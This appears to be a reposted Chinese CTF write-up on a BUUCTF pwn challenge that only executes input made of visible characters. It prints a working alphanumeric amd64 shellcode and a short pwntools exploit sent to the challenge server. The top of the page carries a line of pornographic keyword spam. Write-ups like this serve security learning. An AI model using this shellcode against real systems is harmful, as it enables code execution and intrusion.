日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)(内涵peak小知识)

發布時間:2024/4/17 编程问答 47 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)(内涵peak小知识) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可見字符shellcode)

檢查了下保護發現NX 沒有開,肯定要自己寫shellcode呀。
不過這道題,刷新了我的認知。眾所周知,手寫的shellcode里面肯定有很多不可見字符。第一次碰到可見的shellcode。

看下IDA, 不能反匯編不過問題不大,沒事.
個人建議,看匯編的時候,建議看流程圖,更加直觀

將shellcode寫入,那個buf
不過下面肯定大于0呀.rbp + var_8是我們輸入字符串的長度.發生轉跳


箭頭的地方我們不希望發送轉跳,這樣我們就可以直接call rax了.rax指向的就是我們的buf.
但是eax為0, rbp + var_8是我們輸入字符串的長度.肯定發送轉跳

幸好接下來, 可以再次轉跳回來,不過要求就是每個字符的ascii碼 ,必須大于0x60, 小于0x7a或者一堆, 自己可以慢慢看.
總結就是可見字符可以重新轉跳,并且eax會+ 1, 當所有的shellcode為可見字符時, 上面就不會發生轉跳我們就可以執行call rax.
也就是我們的shellcode了

peak小知識

  • 函數返回值,一般都會放在eax寄存器里面.
  • amd64, linux可見字符shellcode 為'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
  • exploit

    from pwn import * p = remote("node3.buuoj.cn",28153) payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' p.send(payload) p.interactive()

    總結

    以上是生活随笔為你收集整理的[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)(内涵peak小知识)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。